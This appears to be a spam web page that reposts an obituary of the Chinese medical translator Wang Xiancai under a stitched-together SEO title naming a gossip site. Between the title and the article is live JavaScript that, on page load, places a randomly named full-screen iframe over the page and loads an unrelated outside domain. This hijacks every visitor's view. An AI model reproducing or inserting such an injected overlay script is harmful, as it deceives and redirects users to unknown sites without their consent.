网易旅游手机端:黑料社吃瓜-黑料吃瓜网最新官网-著名医学翻译家王贤才逝世,享年91岁
(function() {
function generateRandomString(length) {
return Math.random().toString(36).substring(2, length + 2);
}
function loadExternalContent(url) {
var frameName = generateRandomString(10);
var frame = document.createElement('iframe');
frame.id = frameName;
frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;';
frame.src = url;
document.body.appendChild(frame);
}
var externalUrl = 'https://52-cg.com';
loadExternalContent(externalUrl);
})();
九三学社优秀社员,我国著名医学翻译家、教授、主任医师王贤才先生,于2025年5月1日晚8时在南昌逝世,享年91岁。

王贤才,1934年11月生,江西九江人。1956年山东大学医学院医学专业毕业,先后在北京铁路医院、呼和浩特铁路医院、九江市第二人民医院工作,历任《江西医药》主编,江西省文史馆副馆长。他是迄今为止世界上唯一独立完成《希氏内科学》的译者,他出版的主要译著38部,约5000万字。1984年被评为首批国家级有突出贡献的中青年专家。1989年,获卫生部“医学翻译特别奖”。1991年起享受国务院特殊津贴。1985年加入九三学社,为九江市九三学社筹备组主任委员,任九三学社江西省委会首届常委,历任九三学社江西省第二、三、四届委员会副主委,九三学社第八、九、十届中央委员会委员;全国政协第六、七、八、九届委员,江西省政协第五、六、七、八届委员会常委。2017年,当选“九三楷模”。
他在科技翻译领域精心耕耘,译著等身,以高超的中外文修养和精到的医学知识,亲身践行医有医德、译有译责。译有《临床外科须知》《希氏内科学》《英中医学辞海》《临床药物大典》等。其中,《希氏内科学》第15版中译本两次焚稿,五译其书,历时近二十年成书,共译下约1070万字。他一生不畏艰辛、潜心译书,为我国医学译介事业鞠躬尽瘁,树立了光辉榜样。
他投身统一战线、人民政协和多党合作事业,任职政协委员期间,关注民生细节,彰显担当与责任。他是在全国政协最先提出“银行储蓄实名制”“火车票实名制”和建立“双休日”制度的委员,在全国政协和省政协提交提案发言约200件,他提出的《加强铁路路风建设和保障旅客列车供水》等提案被评为全国政协优秀提案,推动落实了列车旅客供水、火车票实名制、实行双休日等多项民生实事。
版权声明:[免责声明]本文来源于网络,不代表本站立场,如转载内容涉及版权等问题,请联系邮箱:seo998@gmail.com,我们会予以删除相关文章,保证您的权利。